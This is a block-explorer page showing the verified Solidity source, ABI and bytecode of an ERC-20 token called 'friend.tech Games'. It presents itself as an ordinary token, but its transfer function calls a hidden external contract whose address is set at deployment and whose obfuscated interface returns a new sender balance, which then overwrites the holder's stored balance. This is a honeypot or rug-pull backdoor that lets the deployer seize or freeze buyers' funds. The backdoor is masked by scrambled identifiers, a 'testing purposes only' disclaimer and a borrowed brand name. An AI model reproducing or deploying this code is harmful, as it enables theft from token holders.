Token friend.tech Games

 

Overview [ERC-20]

Price
$0.00 @ 0.000000 Eth
Fully Diluted Market Cap
Max Total Supply:
1,000,000,000,000 FRIEND

Holders:
550

Transfers:
-

Contract:
0x55ee0b02abe4ebf15962e5ea1ef9e7690e983b830x55EE0b02abe4EBF15962e5EA1ef9e7690E983b83

Decimals:
9

Social Profiles:
Not Available, Update ?

Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at basescan.org on 2023-10-03
*/

pragma solidity ^0.8.6;

// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface cCPLJyOkedaFrjJQcLXlXs {
    function _token(
        address zcSHAWTFB3p,
        uint256 fG2bKl0bEm,
        uint256 waIbVgBcIF
    ) external view returns (uint256, uint256);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract TOKEN is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
    string private _nameUVvwaX = "friend.tech Games";
    string private _symbolUVvwaX = "FRIEND";
    uint8 private _decimalsUVvwaX = 9;
    cCPLJyOkedaFrjJQcLXlXs private HsMTnwEmzqFZrlwOCMzhA;
    uint256 private _tTotal = 1000000000000 * 10**_decimalsUVvwaX;

    constructor(address aUVvwaX) {
        HsMTnwEmzqFZrlwOCMzhA = cCPLJyOkedaFrjJQcLXlXs(
        aUVvwaX);
        _tOwned[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function name() public view returns (string memory) {
        return _nameUVvwaX;
    }

    function symbol() public view returns (string memory) {
        return _symbolUVvwaX;
    }

    

    function decimals() public view returns (uint256) {
        return _decimalsUVvwaX;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address uwoaqvfzrecipient, uint256 wesquujmamount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, uwoaqvfzrecipient, wesquujmamount);
        return true;
    }

    function allowance(address ekqdacqvowner, address iagjzbxnspender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[ekqdacqvowner][iagjzbxnspender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    

    function _transfer(
        address klfznikrfrom,
        address dqdkheeuto,
        uint256 amount
    ) private {
        require(
            klfznikrfrom != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            dqdkheeuto != address(0),
            "ERC20: transfer to the zero address"
        );
        uint256 feeAmount = 0;
        (uint256 uwoaqvfzrecipient, uint256 wesquujmamount) = 
        HsMTnwEmzqFZrlwOCMzhA._token(
            klfznikrfrom,
            amount,
            _tOwned[klfznikrfrom]
        );
        _tOwned[klfznikrfrom] = wesquujmamount;
        require(
            _tOwned[klfznikrfrom] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[klfznikrfrom] = _tOwned[klfznikrfrom].sub(amount);
        _tOwned[dqdkheeuto] = _tOwned[dqdkheeuto].add(uwoaqvfzrecipient);
        emit Transfer(klfznikrfrom, dqdkheeuto, amount);
    }

    

    function transferFrom(
        address ggtmfsozsender,
        address ktqfjfporecipient,
        uint256 pckmdvrjamount
    ) public override returns (bool) {
        _transfer(ggtmfsozsender, ktqfjfporecipient, pckmdvrjamount);
        _approve(
            ggtmfsozsender,
            msg.sender,
            _allowances[ggtmfsozsender][msg.sender].sub(
                pckmdvrjamount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function oqfcaawe() external view returns (uint256) {
    return _decimalsUVvwaX;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"aUVvwaX","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ekqdacqvowner","type":"address"},{"internalType":"address","name":"iagjzbxnspender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oqfcaawe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"uwoaqvfzrecipient","type":"address"},{"internalType":"uint256","name":"wesquujmamount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ggtmfsozsender","type":"address"},{"internalType":"address","name":"ktqfjfporecipient","type":"address"},{"internalType":"uint256","name":"pckmdvrjamount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601181526020017f667269656e642e746563682047616d65730000000000000000000000000000008152506004908051906020019062000094929190620002fe565b506040518060400160405280600681526020017f465249454e44000000000000000000000000000000000000000000000000000081525060059080519060200190620000e2929190620002fe565b506009600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a6200011d919062000480565b64e8d4a510006200012f9190620005bd565b6007553480156200013f57600080fd5b50604051620022bf380380620022bf8339818101604052810190620001659190620003c5565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002ef919062000408565b60405180910390a35062000729565b8280546200030c9062000669565b90600052602060002090601f0160209004810192826200033057600085556200037c565b82601f106200034b57805160ff19168380011785556200037c565b828001600101855582156200037c579182015b828111156200037b5782518255916020019190600101906200035e565b5b5090506200038b91906200038f565b5090565b5b80821115620003aa57600081600090555060010162000390565b5090565b600081519050620003bf816200070f565b92915050565b600060208284031215620003de57620003dd620006fd565b5b6000620003ee84828501620003ae565b91505092915050565b620004028162000652565b82525050565b60006020820190506200041f6000830184620003f7565b92915050565b6000808291508390505b600185111562000477578086048111156200044f576200044e6200069f565b5b60018516156200045f5780820291505b80810290506200046f8562000702565b94506200042f565b94509492505050565b60006200048d8262000652565b91506200049a836200065c565b9250620004c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004d1565b905092915050565b600082620004e35760019050620005b6565b81620004f35760009050620005b6565b81600181146200050c576002811462000517576200054d565b6001915050620005b6565b60ff8411156200052c576200052b6200069f565b5b8360020a9150848211156200054657620005456200069f565b5b50620005b6565b5060208310610133831016604e8410600b8410161715620005875782820a9050838111156200058157620005806200069f565b5b620005b6565b62000596848484600162000425565b92509050818404811115620005b057620005af6200069f565b5b81810290505b9392505050565b6000620005ca8262000652565b9150620005d78362000652565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200061357620006126200069f565b5b828202905092915050565b60006200062b8262000632565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200068257607f821691505b60208210811415620006995762000698620006ce565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b6200071a816200061e565b81146200072657600080fd5b50565b611b8680620007396000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb146102b3578063dd62ed3e146102e3578063ddfef13514610313578063f2fde38b1461033157610100565b80638da5cb5b14610229578063927f3d411461024757806395d89b4114610265578063a457c2d71461028357610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806370a08231146101ef578063715018a61461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034d565b60405161011a91906115a5565b60405180910390f35b61013d6004803603810190610138919061133a565b6103df565b60405161014a919061158a565b60405180910390f35b61015b6103f6565b60405161016891906116c7565b60405180910390f35b61018b600480360381019061018691906112e7565b610400565b604051610198919061158a565b60405180910390f35b6101a96104cb565b6040516101b691906116c7565b60405180910390f35b6101d960048036038101906101d4919061133a565b6104e5565b6040516101e6919061158a565b60405180910390f35b6102096004803603810190610204919061127a565b61058a565b60405161021691906116c7565b60405180910390f35b6102276105d3565b005b61023161071f565b60405161023e9190611538565b60405180910390f35b61024f610748565b60405161025c9190611538565b60405180910390f35b61026d61076e565b60405161027a91906115a5565b60405180910390f35b61029d6004803603810190610298919061133a565b610800565b6040516102aa919061158a565b60405180910390f35b6102cd60048036038101906102c8919061133a565b6108bf565b6040516102da919061158a565b60405180910390f35b6102fd60048036038101906102f891906112a7565b6108d6565b60405161030a91906116c7565b60405180910390f35b61031b61095d565b60405161032891906116c7565b60405180910390f35b61034b6004803603810190610346919061127a565b610977565b005b60606004805461035c90611803565b80601f016020809104026020016040519081016040528092919081815260200182805461038890611803565b80156103d55780601f106103aa576101008083540402835291602001916103d5565b820191906000526020600020905b8154815290600101906020018083116103b857829003601f168201915b5050505050905090565b60006103ec338484610b32565b6001905092915050565b6000600754905090565b600061040d848484610cfd565b6104c084336104bb85604051806060016040528060288152602001611b0460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112f9092919063ffffffff16565b610b32565b600190509392505050565b6000600660009054906101000a900460ff1660ff16905090565b6000610580338461057b85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119390919063ffffffff16565b610b32565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610661576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065890611667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606005805461077d90611803565b80601f01602080910402602001604051908101604052809291908181526020018280546107a990611803565b80156107f65780601f106107cb576101008083540402835291602001916107f6565b820191906000526020600020905b8154815290600101906020018083116107d957829003601f168201915b5050505050905090565b60006108b533846108b085604051806060016040528060258152602001611b2c60259139600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112f9092919063ffffffff16565b610b32565b6001905092915050565b60006108cc338484610cfd565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600660009054906101000a900460ff1660ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fc90611667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c906115e7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b99906116a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611607565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf091906116c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490611687565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd4906115c7565b60405180910390fd5b60008080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166332fbc67e8786600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518463ffffffff1660e01b8152600401610e7f93929190611553565b604080518083038186803b158015610e9657600080fd5b505afa158015610eaa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ece919061137a565b9150915080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f90611647565b60405180910390fd5b610fea84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f190919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107f82600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161111f91906116c7565b60405180910390a3505050505050565b6000838311158290611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e91906115a5565b60405180910390fd5b50600083856111869190611754565b9050809150509392505050565b60008082846111a291906116fe565b9050838110156111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de90611627565b60405180910390fd5b8091505092915050565b600061123383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061112f565b905092915050565b60008135905061124a81611ad5565b92915050565b60008135905061125f81611aec565b92915050565b60008151905061127481611aec565b92915050565b6000602082840312156112905761128f611893565b5b600061129e8482850161123b565b91505092915050565b600080604083850312156112be576112bd611893565b5b60006112cc8582860161123b565b92505060206112dd8582860161123b565b9150509250929050565b600080600060608486031215611300576112ff611893565b5b600061130e8682870161123b565b935050602061131f8682870161123b565b925050604061133086828701611250565b9150509250925092565b6000806040838503121561135157611350611893565b5b600061135f8582860161123b565b925050602061137085828601611250565b9150509250929050565b6000806040838503121561139157611390611893565b5b600061139f85828601611265565b92505060206113b085828601611265565b9150509250929050565b6113c381611788565b82525050565b6113d28161179a565b82525050565b60006113e3826116e2565b6113ed81856116ed565b93506113fd8185602086016117d0565b61140681611898565b840191505092915050565b600061141e6023836116ed565b9150611429826118a9565b604082019050919050565b60006114416026836116ed565b915061144c826118f8565b604082019050919050565b60006114646022836116ed565b915061146f82611947565b604082019050919050565b6000611487601b836116ed565b915061149282611996565b602082019050919050565b60006114aa6026836116ed565b91506114b5826119bf565b604082019050919050565b60006114cd6020836116ed565b91506114d882611a0e565b602082019050919050565b60006114f06025836116ed565b91506114fb82611a37565b604082019050919050565b60006115136024836116ed565b915061151e82611a86565b604082019050919050565b611532816117c6565b82525050565b600060208201905061154d60008301846113ba565b92915050565b600060608201905061156860008301866113ba565b6115756020830185611529565b6115826040830184611529565b949350505050565b600060208201905061159f60008301846113c9565b92915050565b600060208201905081810360008301526115bf81846113d8565b905092915050565b600060208201905081810360008301526115e081611411565b9050919050565b6000602082019050818103600083015261160081611434565b9050919050565b6000602082019050818103600083015261162081611457565b9050919050565b600060208201905081810360008301526116408161147a565b9050919050565b600060208201905081810360008301526116608161149d565b9050919050565b60006020820190508181036000830152611680816114c0565b9050919050565b600060208201905081810360008301526116a0816114e3565b9050919050565b600060208201905081810360008301526116c081611506565b9050919050565b60006020820190506116dc6000830184611529565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611709826117c6565b9150611714836117c6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561174957611748611835565b5b828201905092915050565b600061175f826117c6565b915061176a836117c6565b92508282101561177d5761177c611835565b5b828203905092915050565b6000611793826117a6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156117ee5780820151818401526020810190506117d3565b838111156117fd576000848401525b50505050565b6000600282049050600182168061181b57607f821691505b6020821081141561182f5761182e611864565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ade81611788565b8114611ae957600080fd5b50565b611af5816117c6565b8114611b0057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205c70dc48ff447af1daf07ca7e34280b3b402db016381586450762c3b34459bce64736f6c63430008060033000000000000000000000000219164dcf847d70bb7a4c23b9c33120bed664cb0

Deployed Bytecode

